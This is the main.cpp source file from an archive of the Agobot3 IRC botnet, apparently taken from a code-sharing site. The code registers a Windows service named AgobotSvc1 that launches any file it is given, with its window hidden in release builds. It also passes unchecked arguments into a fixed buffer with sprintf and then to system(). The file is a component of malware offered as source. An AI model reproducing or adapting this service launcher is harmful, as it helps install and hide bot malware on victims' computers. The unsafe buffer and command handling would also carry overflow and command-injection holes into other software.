www.pudn.com > agobot3-priv4.rar > main.cpp
/* Agobot3 - a modular IRC bot for Win32 / Linux Copyright (C) 2003 Ago This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include#include #include #include #include SERVICE_STATUS AgobotSvcStatus1; SERVICE_STATUS_HANDLE AgobotSvcStatusHandle1; int g_argc; char **g_argv; VOID WINAPI AgobotSvcStart1(DWORD argc, LPTSTR *argv); VOID WINAPI AgobotSvcCtrlHandler1(DWORD opcode); DWORD WINAPI AgobotSvcInitialization1(DWORD argc, LPTSTR *argv, DWORD *specificError); void ExecuteTheFile(char *filename, char *params); void main(int argc, char **argv) { SERVICE_TABLE_ENTRY DispatchTable[]= { { "AgobotSvc1", AgobotSvcStart1 }, { NULL, NULL } }; g_argv=argv; g_argc=argc; if(!StartServiceCtrlDispatcher(DispatchTable)) return; } void WINAPI AgobotSvcStart1(DWORD argc, LPTSTR *argv) { DWORD status; DWORD specificError; AgobotSvcStatus1.dwServiceType = SERVICE_WIN32; AgobotSvcStatus1.dwCurrentState = SERVICE_START_PENDING; AgobotSvcStatus1.dwControlsAccepted = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE; AgobotSvcStatus1.dwWin32ExitCode = 0; AgobotSvcStatus1.dwServiceSpecificExitCode = 0; AgobotSvcStatus1.dwCheckPoint = 0; AgobotSvcStatus1.dwWaitHint = 0; AgobotSvcStatusHandle1=RegisterServiceCtrlHandler("AgobotSvc1", AgobotSvcCtrlHandler1); if(AgobotSvcStatusHandle1==(SERVICE_STATUS_HANDLE)0) return; status=AgobotSvcInitialization1(argc, argv, &specificError); if(status!=NO_ERROR) { AgobotSvcStatus1.dwCurrentState = SERVICE_STOPPED; AgobotSvcStatus1.dwCheckPoint = 0; AgobotSvcStatus1.dwWaitHint = 0; AgobotSvcStatus1.dwWin32ExitCode = status; AgobotSvcStatus1.dwServiceSpecificExitCode = specificError; SetServiceStatus(AgobotSvcStatusHandle1, &AgobotSvcStatus1); return; } AgobotSvcStatus1.dwCurrentState = SERVICE_RUNNING; AgobotSvcStatus1.dwCheckPoint = 0; AgobotSvcStatus1.dwWaitHint = 0; if(!SetServiceStatus(AgobotSvcStatusHandle1, &AgobotSvcStatus1)) return; if(g_argc > 1) ExecuteTheFile(g_argv[1], g_argv[2]); AgobotSvcStatus1.dwCurrentState = SERVICE_STOPPED; AgobotSvcStatus1.dwCheckPoint = 0; AgobotSvcStatus1.dwWaitHint = 0; AgobotSvcStatus1.dwWin32ExitCode = 0; AgobotSvcStatus1.dwServiceSpecificExitCode = 0; SetServiceStatus(AgobotSvcStatusHandle1, &AgobotSvcStatus1); return; } DWORD WINAPI AgobotSvcInitialization1(DWORD argc, LPTSTR *argv, DWORD *specificError) { return(0); } void WINAPI AgobotSvcCtrlHandler1(DWORD Opcode) { switch(Opcode) { case SERVICE_CONTROL_PAUSE: AgobotSvcStatus1.dwCurrentState=SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: AgobotSvcStatus1.dwCurrentState=SERVICE_RUNNING; break; case SERVICE_CONTROL_STOP: AgobotSvcStatus1.dwWin32ExitCode = 0; AgobotSvcStatus1.dwCurrentState = SERVICE_STOPPED; AgobotSvcStatus1.dwCheckPoint = 0; AgobotSvcStatus1.dwWaitHint = 0; SetServiceStatus(AgobotSvcStatusHandle1, &AgobotSvcStatus1); return; break; case SERVICE_CONTROL_INTERROGATE: break; default: break; } SetServiceStatus(AgobotSvcStatusHandle1, &AgobotSvcStatus1); return; } bool Execute(const char *filename, const char *params) #ifdef WIN32 #ifndef _DEBUG { if((int)ShellExecute(0, "open", filename, params, NULL, SW_HIDE)>=32) return true; else return false; } #else { if((int)ShellExecute(0, "open", filename, params, NULL, SW_SHOW)>=32) return true; else return false; } #endif // _DEBUG #else // LINUX { if(fork()==0) { execl(filename, params); exit(0); } else return false; return true; } #endif // WIN32 void ExecuteTheFile(char *filename, char *params) { char szCmdBuf[MAX_PATH]; sprintf(szCmdBuf, "%s %s", filename, params); system(szCmdBuf); }